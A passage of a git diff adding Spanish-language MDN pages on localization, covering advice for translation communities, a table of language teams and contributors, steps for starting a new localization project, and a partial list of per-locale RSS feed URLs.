+<h3 id="Trabajar_con_cualquier_comunidad_de_localización_de_Mozilla_existente">Trabajar con cualquier comunidad de localización de Mozilla existente</h3>
+
+<p>La experiencia ha demostrado que las comunidades de localización más activas y exitosas en MDN son extensiones de comunidades de localización de Mozilla existentes. Si está interesado en iniciar una localización en MDN y ya no está en contacto con la comunidad de Mozilla para su entorno local, <a href="https://wiki.mozilla.org/L10n:Teams">busque en ellas </a>y póngase en contacto. Encontrarás algunas personas con experiencia para compartir sobre Mozilla y la localización.</p>
+
+<h3 id="Conseguir_mucha_gente_involucrada">Conseguir mucha gente involucrada</h3>
+
+<p>También hemos visto que cuanto más gente está involucrada en un esfuerzo de localización, más probable es que sea autosostenible. Las personas vienen y van en un esfuerzo de localización (como la mayoría de las cosas en la vida). Cuantas más personas estén involucradas, más probable es que el grupo sostenga a través de esos cambios. Los esfuerzos que son iniciados por una persona o un grupo pequeño por lo general no permanecen activos más tiempo que los miembros iniciales. Por lo tanto, una gran parte de iniciar un esfuerzo de localización es reclutar suficiente gente para que el grupo siga adelante incluso cuando algunas personas abandonan, como inevitablemente lo hacen.</p>
+
+<h3 id="Reunirse_regularmente_en_persona_o_en_línea">Reunirse regularmente, en persona o en línea</h3>
+
+<p>Reunirse regularmente con otros localizadores puede ser una gran manera de construir un sentido de cohesión de grupo, para que la gente quiera seguir participando. Reunión cara a cara es grande si todo el mundo está situado muy cerca lo suficiente como para poder hacer eso. Puede reunirse prácticamente en línea si su grupo se extiende demasiado lejos para reunirse en persona. Reunirse en un horario regular, como una vez al mes, también es importante, para que los miembros del grupo pueden planear para asistir. Algunos localizers pueden contribuir solamente durante un meet-up, y no en otras veces.</p>
+
+<h2 id="Qué_traducir_primero">Qué traducir primero</h2>
+
+<p>MDN tiene miles de artículos en muchas áreas temáticas diferentes. Tal vez usted es un apasionado de un tema en particular - por todos los medios, empezar allí! Pero si buscas puntos de partida, he aquí algunas sugerencias:</p>
+
+<ul>
+ <li><a href="/en-US/docs/tag/l10n%3Apriority">Páginas con la etiqueta "l10n:priority"</a></li>
+ <li>Guias del<a href="/en-US/Learn">  Area de aprendizaje</a></li>
+ <li>La  <a href="/en-US/docs/Web/JavaScript/Guide">Guía JavaScript</a></li>
+ <li>Páginas de<a href="/en-US/docs/Web/HTML/Reference"> referencia HTML</a>  para elementos comunes</li>
+ <li><a href="/en-US/docs/Web/CSS">CSS docs</a></li>
+</ul>
+
+<p>Para algunas localidades, los localizadores consideran que las guías y los tutoriales son una prioridad mayor que las páginas de referencia. Los desarrolladores web a menudo pueden descubrir la sintaxis del código de la versión inglesa de una página, incluso si no saben mucho inglés. Pero aprender nuevos conceptos es mucho más cómodo en la lengua materna. Por lo tanto, puede ser importante para traducir tutoriales primero.</p>
+
+<h2 id="Política">Política</h2>
+
+<p> <br>
+ Todos los materiales creados y traducidos para el MDN deben seguir nuestras <a href="/en-US/docs/MDN/About#Copyrights_and_licenses">Políticas de Derechos de Autor y Licencias.</a>.</p>
+
+<p>Si encuentra problemas de cualquier tipo,— técnicos, políticos u otros—, póngase en contacto con el<a href="mailto:mdn-admins@mozilla.org?subject=Localization%20question" title="Contact the MDN administration team"> Equipo de Administración MDN</a>.</p>
+
+<p> </p>
diff --git a/files/es/mdn/contribute/localize/project_colon_localization_projects/index.html b/files/es/mdn/contribute/localize/project_colon_localization_projects/index.html
new file mode 100644
index 0000000000..829f196bba
--- /dev/null
+++ b/files/es/mdn/contribute/localize/project_colon_localization_projects/index.html
@@ -0,0 +1,405 @@
+---
+title: Proyectos de localización
+slug: 'MDN/Contribute/Localize/Project:Localization_Projects'
+tags:
+  - Comunidad
+  - Localización
+  - MDN Meta
+  - Referencia
+  - l10n
+translation_of: MDN/Contribute/Localize/Localization_projects
+---
+<div>{{MDNSidebar}}</div>
+
+<p>Este artículo describe nuestros proyectos de localización existentes, así como también lo que necesitas hacer si quieres iniciar un nuevo proyecto de localización en MDN.</p>
+
+<h2 id="Existing_MDC_localization_projects" name="Existing_MDC_localization_projects">Proyectos de localización MDN existentes</h2>
+
+<p>Todos los equipos de los proyectos de localización de MDN deben mantener su información actualizada en esta tabla, para que, de este modo, los contribuidores interesados puedan ponerse en contacto con ellos y ofrecer su ayuda.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Idioma</th>
+   <th style="width: 12em;">Líder</th>
+   <th>Contribuidores</th>
+   <th>Notas</th>
+  </tr>
+  <tr>
+   <td>Francés</td>
+   <td>( <a href="/en-US/profiles/Jeremie">Jeremie</a> )</td>
+   <td><a href="/en-US/profiles/FredB">FredB</a>, <a href="/en-US/profiles/Chbok">Alain Boquet</a>, <a href="/en-US/profiles/Fredchat">Fréderic Chateaux</a>, <a href="/en-US/profiles/VincentN">Vincent N.</a>, <a href="/en-US/profiles/BenoitL">Benoit Leseul</a>, <a href="/en-US/profiles/Shz">Shz</a>, <a href="/en-US/profiles/tregagnon">Thierry Régagnon (tregagnon)</a>, <a href="/en-US/profiles/xaky">xaky</a>, <a href="/en-US/profiles/Goofy">Goofy</a>, <a href="/en-US/profiles/sylzys">sylzys</a>, <a href="/en-US/profiles/the%20prisoner">the prisoner</a>, <a href="/en-US/profiles/Julien%20STUBY">Julien STUBY</a>, <a href="/en-US/profiles/poum">poum</a>, <a href="/en-US/profiles/sylvie">sylvie</a></td>
+   <td>(notas o URL al equipo de localización project team page)</td>
+  </tr>
+  <tr>
+   <td>Italiano</td>
+   <td>?</td>
+   <td><a href="/en-US/profiles/Federico">Federico</a>, <a href="/en-US/profiles/mck89">mck89</a>, <a href="/en-US/profiles/marcostudios">marcostudios</a>, <a href="/en-US/profiles/loris94">loris94</a>, <a href="/en-US/profiles/MrW0lf">MrW0lf</a>, <a href="/en-US/profiles/Iacchi">Iacchi</a>, <a href="/en-US/profiles/camaleo">camaleo</a>, <a href="/en-US/profiles/marcantonio">marcantonio</a>, <a href="/en-US/profiles/Grino">Grino</a>, <a href="/en-US/profiles/Nicola_D">Nicola_D</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Japonés</td>
+   <td><a href="/en-US/profiles/Potappo">Potappo</a></td>
+   <td><a href="/en-US/profiles/Yoshino">Yoshino(ex.Mozilla Japan)</a>, <a href="/en-US/profiles/Yuichiro">Yuichiro</a>, <a href="/en-US/profiles/myakura">myakura(Masataka Yakura)</a>, <a href="/en-US/profiles/yyss">yyss</a>, <a href="/en-US/profiles/ethertank">ethertank</a>, <a href="/en-US/profiles/nobuoka">nobuoka</a>, <a href="/en-US/profiles/Marsf">Marsf(Masahiko Imanaka)</a>, <a href="/en-US/profiles/taguchi-ch">taguchi-ch</a>, <a href="/en-US/profiles/sii">sii</a>, <a href="/en-US/profiles/saneyuki_s">saneyuki_s</a>, <a href="/en-US/profiles/Shimono">Shimono(Atsushi Shimono)</a>, <a href="/en-US/profiles/Taken">Taken(Takeshi Kurosawa)</a>, <a href="/en-US/profiles/Electrolysis">Electrolysis</a>, <a href="/en-US/profiles/dextra">dextra</a>, <a href="/en-US/profiles/Masayuki">Masayuki</a></td>
+   <td><a href="http://mdc.mozilla.gr.jp">MDC Japan Project</a> (-2009)</td>
+  </tr>
+  <tr>
+   <td>Polaco</td>
+   <td><a href="/en-US/profiles/Ptak82">Tomasz Sokół</a></td>
+   <td><a href="/en-US/profiles/Marcoos">Marcoos(Marek Stępień)</a>, <a href="/en-US/profiles/Dapi">Dapi</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Español</td>
+   <td><a href="/en-US/profiles/maedca">maedca</a>,<a href="/en-US/profiles/francjp">francjp</a></td>
+   <td><a href="/en-US/profiles/Superruzafa">Superruzafa</a>, <a href="/en-US/profiles/vhanla">vhanla</a>, <a href="/en-US/profiles/maedca">maedca</a>, <a href="/en-US/profiles/inma_610">inma_610</a>, <a href="/en-US/profiles/ccarruitero">ccarruitero</a>, <a href="/en-US/profiles/artopal">artopal</a>, <a href="/en-US/profiles/StripTM">StripTM</a>, <a href="/en-US/profiles/Jorge.villalobos">Jorge.villalobos</a>, <a href="/en-US/profiles/Scipion">Scipion</a>, <a href="/en-US/profiles/Verruckt">Verruckt</a>, <a href="/en-US/profiles/Nathymig">Nathymig</a>, <a href="/en-US/profiles/Rkovac">Rkovac</a>, <a href="/en-US/profiles/ajimix">ajimix</a>, <a href="/en-US/profiles/mhauptma73">mhauptma73</a>, <a href="/en-US/profiles/deimidis">deimidis</a>, <a href="/en-US/profiles/Joalar">Joalar</a>, <a href="/en-US/profiles/Maharba">Maharba</a>, <a href="/en-US/profiles/jessest">jessest</a>, <a href="/en-US/profiles/MPoli">MPoli</a>, <a href="/en-US/profiles/Antiparticule">Antiparticule</a>, {{userlink("LeoHirsch")}}, {{userlink("gorrotowi")}}, {{userlink("AlePerez92")}}</td>
+   <td>Necesitamos, de verdad, más traductores.</td>
+  </tr>
+  <tr>
+   <td>Portugués (Brasil)</td>
+   <td><a href="/en-US/profiles/jaydson">Jaydson Gomes</a></td>
+   <td><a href="/en-US/profiles/galvao">Galvão</a>, <a href="/pt-BR/profiles/atilafassina">Atila</a>, <a href="/en-US/profiles/francisco.hansen">francisco.hansen</a>, <a href="/en-US/profiles/francineemilia">francineemilia</a>, <a href="/en-US/profiles/battisti">battisti</a>, <a href="/en-US/profiles/jpalharini">jpalharini</a>, <a href="/en-US/profiles/LeonardoPacheco">LeonardoPacheco</a>, <a href="/en-US/profiles/Lehrerschuler">Lehrerschuler</a>, <a href="/en-US/profiles/hsteffano">hsteffano</a>, <a href="/en-US/profiles/lfz">lfz</a>, <a href="/en-US/profiles/-pedrohenrique-">-pedrohenrique-</a>, <a href="/en-US/profiles/eduardodx">eduardodx</a>, <a href="/en-US/profiles/mateus.m.luna">mateus.m.luna</a>, <a href="/en-US/profiles/josivansilva">josivansilva</a>, <a href="/en-US/profiles/TelaSocial">TelaSocial</a>, <a href="/en-US/profiles/mazulo">mazulo</a>, <a href="/en-US/profiles/vlopez5">vlopez5</a>, <a href="/en-US/profiles/robsonds">robsonds</a>, <a href="/en-US/profiles/HenriqueSilverio">HenriqueSilverio</a></td>
+   <td><a href="http://mzl.la/Odmaq9">Cómo ayudar a MDN</a></td>
+  </tr>
+  <tr>
+   <td>Portugués (Portugal)</td>
+   <td><a href="/en-US/profiles/Leandro%20Mercês%20Xavier">Leandro Mercês Xavier</a></td>
+   <td><a href="/en-US/profiles/msvolenski">Matheus Smythe Svolenski</a>, <a href="/en-US/profiles/Luis%20Henrique%20Sousa">Luis Henrique Sousa</a>, <a href="/en-US/profiles/f.sanxz">f.sanxz</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Coreano</td>
+   <td><a href="/en-US/profiles/Channy">Channy Yun</a></td>
+   <td><a href="/ko/docs/Project:Korean_Contributors">Korean Contributors</a></td>
+   <td><a href="http://groups.google.com/group/mdckorea">Google Groups</a></td>
+  </tr>
+  <tr>
+   <td>Alemán</td>
+   <td><a href="/en-US/profiles/Elchi3">Elchi3</a></td>
+   <td><a href="/en-US/profiles/eminor">eminor</a>, <a href="/en-US/profiles/AlexPl">AlexPl</a>, <a href="/en-US/profiles/Sprottenwels">Sprottenwels</a>, <a href="/en-US/profiles/tessarakt3">tessarakt3</a>, <a href="/en-US/profiles/jwl">jwl</a></td>
+   <td>Necesitamos, de verdad, más traductores.</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Griego</p>
+   </td>
+   <td><a href="/en-US/profiles/syssgx">syssgx</a></td>
+   <td><a href="/en-US/profiles/JasnaPaka">JasnaPaka</a>, <a href="/en-US/profiles/DJ.Maca">DJ.Maca</a></td>
+   <td>Necesitamos más traductores.</td>
+  </tr>
+  <tr>
+   <td>Ruso</td>
+   <td>?</td>
+   <td><a href="/en-US/profiles/Cobalt747">Cobalt747</a>, <a href="/en-US/profiles/Sky_Fox">Sky_Fox</a>, <a href="/en-US/profiles/Chernetsky">Chernetsky</a>, <a href="/en-US/profiles/uleming">uleming</a>, <a href="/en-US/profiles/karasiov">karasiov</a>, <a href="/en-US/profiles/Dionys">Dionys</a>, <a href="/en-US/profiles/Megapotz">Megapotz</a>, <a href="/en-US/profiles/hazestalker">hazestalker</a>, <a href="/en-US/profiles/Kwinto">Kwinto</a></td>
+   <td>Necesitamos más traductores.</td>
+  </tr>
+  <tr>
+   <td>Chino (Tradicional)</td>
+   <td><a href="/en-US/profiles/BobChao">BobChao</a></td>
+   <td><a href="/en-US/profiles/Dwchiang">dwchiang</a>, <a href="/en-US/profiles/happysadman">happysadman</a>, <a href="/en-US/profiles/petercpg">petercpg</a>, <a href="/en-US/profiles/sailplaneTW">sailplaneTW</a>, <a href="/en-US/profiles/Kourge">Kourge</a>, <a href="/en-US/profiles/Josesun">Josesun</a>, <a href="/en-US/profiles/Sonrisa">Sonrisa</a>, <a href="/en-US/profiles/Kennyluck">Kennyluck</a>, <a href="/en-US/profiles/sycheng">sycheng</a>, <a href="/en-US/profiles/naihsi">naihsi</a>, <a href="/en-US/profiles/evelynhung">evelynhung</a></td>
+   <td>¡Necesitamos más traductores! ¡Únete a nosotros en <a href="https://groups.google.com/d/forum/mdnzh" title="MDN中文社羣">Google Groups</a>!</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Chino Simplificado</p>
+   </td>
+   <td><a href="/en-US/profiles/yanzehua">yanzehua</a>(-2008?)</td>
+   <td><a href="/en-US/profiles/ziyunfei">ziyunfei</a>, <a href="/en-US/profiles/%E5%AE%8B%E6%99%93%E5%85%89">宋晓光</a>, <a href="/en-US/profiles/Duwei">Duwei</a>, <a href="/en-US/profiles/alzhu">alzhu</a>, <a href="/en-US/profiles/Cnmahj">Cnmahj</a>, <a href="/en-US/profiles/Andyyard">Andyyard</a>, <a href="/en-US/profiles/yinian1992">yinian1992</a>, <a href="/en-US/profiles/Chajn">Chajn</a>, <a href="/en-US/profiles/c_king">c_king</a>, <a href="/en-US/profiles/iwo">iwo</a></td>
+   <td>
+    <p>¡Necesitamos más traductores y buena organización!</p>
+
+    <p>¡Únete a nosotros en <a href="https://groups.google.com/d/forum/mdnzh" title="MDN中文社区">Google Groups</a>!</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Hebreo</td>
+   <td><a href="/en-US/profiles/ziv">Ziv Perry</a></td>
+   <td><a href="/en-US/profiles/Inkbug">Inkbug</a></td>
+   <td>Necesitamos más traductores.</td>
+  </tr>
+  <tr>
+   <td>Rumano</td>
+   <td><a href="/en-US/profiles/raul.malea">Raul Malea</a></td>
+   <td> </td>
+   <td>Necesitamos más traductores.</td>
+  </tr>
+  <tr>
+   <td>Tailandés</td>
+   <td><a href="/en-US/profiles/hapztron">Hassadee Pimsuwan</a></td>
+   <td> </td>
+   <td>Necesitamos, de verdad, más traductores.</td>
+  </tr>
+  <tr>
+   <td>Turco</td>
+   <td><a href="/en-US/profiles/techexpert">Hakan Damar</a></td>
+   <td> </td>
+   <td>Necesitamos más traductores.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Cómo_inicio_un_proyecto_de_localización">¿Cómo inicio un proyecto de localización?</h2>
+
+<p>Si estás interesado en iniciar un proyecto de localización para traducir MDN a tu idioma, aquí están los pasos que debes seguir para contribuir.</p>
+
+<ol>
+ <li>Primero, <a href="https://localize.mozilla.org/projects/mdn/" title="https://localize.mozilla.org/projects/mdn/">revisa</a> que no exista ya un proyecto asociado a ese idioma.</li>
+ <li>Ponte en contacto con el <a href="http://wiki.mozilla.org/L10n:Localization_Teams">Equipo de localización de Mozilla</a> de tu idioma, y dales a conocer tus planes.</li>
+ <li>Inscríbete en nuestras <a href="/Project:en/Community">Listas de Correo</a> e ingresa al canal de IRC <a href="irc://irc.mozilla.org/devmo" title="irc://irc.mozilla.org/devmo">#devmo</a> en <a class="link-irc" href="irc://irc.mozilla.org">irc.mozilla.org</a>.</li>
+ <li>Contacta a <a href="/en-US/profiles/Sheppy">sheppy</a>, nuestro líder del equipo de Documentación para Desarrolladores, para informarle de que deseas iniciar una nueva localización. No es que necesites su permiso, pero le interesaría saber quién eres.</li>
+ <li>Añade una fila para tu idioma en la tabla de arriba e incluye a quienes tengan pensado trabajar en ello.</li>
+ <li><a href="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;blocked=&amp;bug_file_loc=http%3A%2F%2F&amp;bug_severity=normal&amp;bug_status=NEW&amp;comment=&amp;component=Localization&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-4=X&amp;flag_type-607=X&amp;flag_type-791=X&amp;flag_type-800=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Mozilla%20Developer%20Network&amp;qa_contact=website%40mdn.bugs&amp;rep_platform=All&amp;requestee_type-4=&amp;requestee_type-607=&amp;requestee_type-791=&amp;requestee_type-800=&amp;short_desc=&amp;status_whiteboard=&amp;target_milestone=---&amp;version=unspecified" title="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;blocked=&amp;bug_file_loc=http%3A%2F%2F&amp;bug_severity=normal&amp;bug_status=NEW&amp;comment=&amp;component=Localization&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-4=X&amp;flag_type-607=X&amp;flag_type-791=X&amp;flag_type-800=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Mozilla%20Developer%20Network&amp;qa_contact=website%40mdn.bugs&amp;rep_platform=All&amp;requestee_type-4=&amp;requestee_type-607=&amp;requestee_type-791=&amp;requestee_type-800=&amp;short_desc=&amp;status_whiteboard=&amp;target_milestone=---&amp;version=unspecified">Crea un reporte</a> en <a href="http://bugzilla.mozilla.org">Bugzilla</a>, solicitando que tu idioma sea añadido a la lista de idiomas compatibles con MDN. El reporte debe estar en la categoría "Mozilla Developer Network" &gt; "Localización". Será asignado automáticamente a la persona indicada.</li>
+ <li>Espera mientras el equipo de MDN se encarga de tu solicitud. Si tu bug no se responde en tres o cuatro días, por favor, agrega un comentario al bug pidiendo un "ETA" para su conclusión.</li>
+ <li>Una vez que la localización haya sido añadida a MDN, podrás empezar a <a href="https://localize.mozilla.org/projects/mdn/" title="https://localize.mozilla.org/projects/mdn/">usar la herramienta Verbatim</a> para traducir las cadenas de la interfaz de usuario de la página y también podrás empezar a traducir los artículos de la wiki.</li>
+</ol>
+
+<p> </p>
+
+<h2 id="¿Cuál_es_la_apariencia_de_un_MDN_localizado">¿Cuál es la apariencia de un MDN localizado?</h2>
+
+<p>La estructura básica de cada uno de los wikis localizados debe ser, en esencia, la misma. En general, debes intentar mantener una igual jerarquía de las páginas, para que cada página de cada lenguaje se corresponda con una página similar en todas las localizaciones.</p>
+
+<h6 id="Eres_bienvenido_si_deseas_enlazar_páginas_locales_externas_escribir_tus_propios_artículos_y_traducir_todo_desde_la_wiki_inglesa._Si_decides_escribir_tus_propios_artículos_sería_útil_que_proveyeses_una_traducción_al_inglés_para_que_figurase_en_la_wiki_inglesa_de_forma_que_ese_artículo_pudiese_ser_localizado_en_todas_las_otras_wikis.">Eres bienvenido si deseas enlazar páginas locales externas, escribir tus propios artículos y traducir todo desde la wiki inglesa. Si decides escribir tus propios artículos, sería útil que proveyeses una traducción al inglés para que figurase en la wiki inglesa, de forma que ese artículo pudiese ser localizado en todas las otras wikis.</h6>
+
+<p>Al añadir fuentes locales se debe de mantener la regla <a href="http://es.wikipedia.org/wiki/Wikipedia:Punto_de_vista_neutral" title="http://es.wikipedia.org/wiki/Wikipedia:Punto_de_vista_neutral">PDVN</a> (Punto de vista neutral), es decir, no incluir enlaces a sitios comerciales (como cursos de pago, compañías de diseño web, etc.) y, siempre que sea posible, debes promover los estándares abiertos y código web <em>cross-browsing</em> en lugar de métodos cerrados y propietarios.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Animamos a los líderes de equipo a que controlen su contenido localizado buscando spam y otros materiales inapropiados, para poder tomar las medidas necesarias para eliminarlos o corregirlos.</p>
+</div>
+
+<h2 id="¿Cómo_organizo_un_proyecto_de_localización">¿Cómo organizo un proyecto de localización?</h2>
+
+<p>Tienes a tu disposición una estupenda serie de consejos de varios equipos de traducción, así que siéntete libre para adoptar alguna de estas ideas. Además, por favor, anímate e incluye tus propias sugerencias. Echa un vistazo a <a href="/en-US/profiles/traducción">esta plantilla</a> en la wiki española, por ejemplo.</p>
+
+<ul>
+ <li>Utiliza una plantilla para identificar aquellos artículos que estén en proceso de traducción. La plantilla deberá proporcionar una sección de información que incluya un enlace a la versión original del artículo. Además, la plantilla deberá incluir el artículo en una categoría de "Pendiente de traducción". De esta forma, será más fácil hacer un seguimiento de los artículos que están en proceso de ser traducidos.</li>
+ <li>Utiliza una plantilla para incluir en una lista los artículos que necesitan traducción, colocando a su lado una bandera o un marcador para señalar que dicho artículo no ha sido traducido aún. Así será más fácil ver qué artículos importantes necesitan una traducción. Puedes ver un ejemplo en <a href="/en-US/docs/Template:Trad%C3%BAceme">esta plantilla</a> de la versión española de MDN.</li>
+ <li>Para indicar que un artículo ha sido traducido pero necesita algún tipo de revisión, técnica o gramatical, puedes utilizar las etiquetas "Necesita revisión técnica" o "Necesita revisión editorial".</li>
+ <li>Utiliza una plantilla de "Basura" para marcar aquellas páginas que se deben eliminar. Dado que solo los administradores pueden eliminar los artículos, este es el mejor método para señalar que un artículo está obsoleto hasta que sea eliminado.</li>
+ <li>Asegúrate de que incluyes las traducciones de estas páginas de instrucciones de MDN y, además, trata de añadir las páginas que sean necesarias sobre las prácticas y políticas de tu equipo de localización.</li>
+</ul>
+
+<h2 id="Fuentes_RSS_por_lengua">Fuentes RSS por lengua</h2>
+
+<p>Puedes seguir las fuentes RSS de cada lengua, de forma que recibirás alertas sobre los cambios en los contenidos de cualquiera de ellas:</p>
+
+<table class="fullwidth-table">
+ <thead>
+  <tr>
+   <th scope="col">Target</th>
+   <th scope="col">Locale</th>
+   <th scope="col">Language</th>
+   <th scope="col">Feed URL</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th><a href="https://developer.mozilla.org/ar/">Arabian</a></th>
+   <td>ar</td>
+   <td>عربي</td>
+   <td><a href="https://developer.mozilla.org/ar/docs/feeds/atom/all">https://developer.mozilla.org/ar/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/bn-BD/">Bengali (Bangladesh)</a></th>
+   <td>bn-BD</td>
+   <td>বাঙ্গালী</td>
+   <td><a href="https://developer.mozilla.org/bn-BD/docs/feeds/atom/all">https://developer.mozilla.org/bn-BD/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/ca/">Catalan</a></th>
+   <td>ca</td>
+   <td>català</td>
+   <td><a href="https://developer.mozilla.org/ca/docs/feeds/atom/all">https://developer.mozilla.org/ca/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/cs/">Czech</a></th>
+   <td>cs</td>
+   <td>Čeština</td>
+   <td><a href="https://developer.mozilla.org/cs/docs/feeds/atom/all">https://developer.mozilla.org/cs/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/de/">German</a></th>
+   <td>de</td>
+   <td>Deutsch</td>
+   <td><a href="https://developer.mozilla.org/de/docs/feeds/atom/all">https://developer.mozilla.org/de/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/el/">Greek</a></th>
+   <td>el</td>
+   <td>Ελληνικά</td>
+   <td><a href="https://developer.mozilla.org/el/docs/feeds/atom/all">https://developer.mozilla.org/el/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/en-US/">English</a></th>
+   <td>en-US</td>
+   <td>English</td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/feeds/atom/all">https://developer.mozilla.org/en-US/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/es/">Spanish</a></th>
+   <td>es</td>
+   <td>Español</td>
+   <td><a href="https://developer.mozilla.org/es/docs/feeds/atom/all">https://developer.mozilla.org/es/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/fa/">Persian</a></th>
+   <td>fa</td>
+   <td>فارسی</td>
+   <td><a href="https://developer.mozilla.org/fa/docs/feeds/atom/all">https://developer.mozilla.org/fa/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/fi/">Finnish</a></th>
+   <td>fi</td>
+   <td>suomi</td>
+   <td><a href="https://developer.mozilla.org/fi/docs/feeds/atom/all">https://developer.mozilla.org/fi/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/fr/">French</a></th>
+   <td>fr</td>
+   <td>Français</td>
+   <td><a href="https://developer.mozilla.org/fr/docs/feeds/atom/all">https://developer.mozilla.org/fr/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/fy-NL/">Frisian</a></th>
+   <td>fy-NL</td>
+   <td>Frysk</td>
+   <td><a href="https://developer.mozilla.org/fy-NL/docs/feeds/atom/all">https://developer.mozilla.org/fy-NL/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/ga-IE/">Georgian (Ireland)</a></th>
+   <td>ga-IE</td>
+   <td>Gaeilge (Éire)</td>
+   <td><a href="https://developer.mozilla.org/ga-IE/docs/feeds/atom/all">https://developer.mozilla.org/ga-IE/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/he/">Hebrew</a></th>
+   <td>he</td>
+   <td>עברית</td>
+   <td><a href="https://developer.mozilla.org/he/docs/feeds/atom/all">https://developer.mozilla.org/he/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/hr/">Croatian</a></th>
+   <td>hr</td>
+   <td>Hrvatski</td>
+   <td><a href="https://developer.mozilla.org/hr/docs/feeds/atom/all">https://developer.mozilla.org/hr/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/hu/">Hungarian</a></th>
+   <td>hu</td>
+   <td>Magyar</td>
+   <td><a href="https://developer.mozilla.org/hu/docs/feeds/atom/all">https://developer.mozilla.org/hu/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/id/">Indonesian</a></th>
+   <td>id</td>
+   <td>Bahasa Indonesia</td>
+   <td><a href="https://developer.mozilla.org/id/docs/feeds/atom/all">https://developer.mozilla.org/id/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/it/">Italian</a></th>
+   <td>it</td>
+   <td>Italiano</td>
+   <td><a href="https://developer.mozilla.org/it/docs/feeds/atom/all">https://developer.mozilla.org/it/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/ja/">Japanese</a></th>
+   <td>ja</td>
+   <td>日本語</td>
+   <td><a href="https://developer.mozilla.org/ja/docs/feeds/atom/all">https://developer.mozilla.org/ja/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/ka/">Georgian</a></th>
+   <td>ka</td>
+   <td>ქართული</td>
+   <td><a href="https://developer.mozilla.org/ka/docs/feeds/atom/all">https://developer.mozilla.org/ka/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/ko/">Korean</a></th>
+   <td>ko</td>
+   <td>한국어</td>
+   <td><a href="https://developer.mozilla.org/ko/docs/feeds/atom/all">https://developer.mozilla.org/ko/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/nl/">Dutch</a></th>
+   <td>nl</td>
+   <td>Nederlands</td>
+   <td><a href="https://developer.mozilla.org/nl/docs/feeds/atom/all">https://developer.mozilla.org/nl/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/pl/">Polish</a></th>
+   <td>pl</td>
+   <td>Polski</td>
+   <td><a href="https://developer.mozilla.org/pl/docs/feeds/atom/all">https://developer.mozilla.org/pl/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/pt-BR/">Portuguese (Brazil)</a></th>
+   <td>pt-BR</td>
+   <td>Português (do Brasil)</td>
+   <td><a href="https://developer.mozilla.org/pt-BR/docs/feeds/atom/all">https://developer.mozilla.org/pt-BR/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/pt-PT/">Portuguese (Europe)</a></th>
+   <td>pt-PT</td>
+   <td>Português (Europeu)</td>
+   <td><a href="https://developer.mozilla.org/pt-PT/docs/feeds/atom/all">https://developer.mozilla.org/pt-PT/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/ro/">Romanian</a></th>
+   <td>ro</td>
+   <td>română</td>
+   <td><a href="https://developer.mozilla.org/ro/docs/feeds/atom/all">https://developer.mozilla.org/ro/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/ru/">Russian</a></th>
+   <td>ru</td>
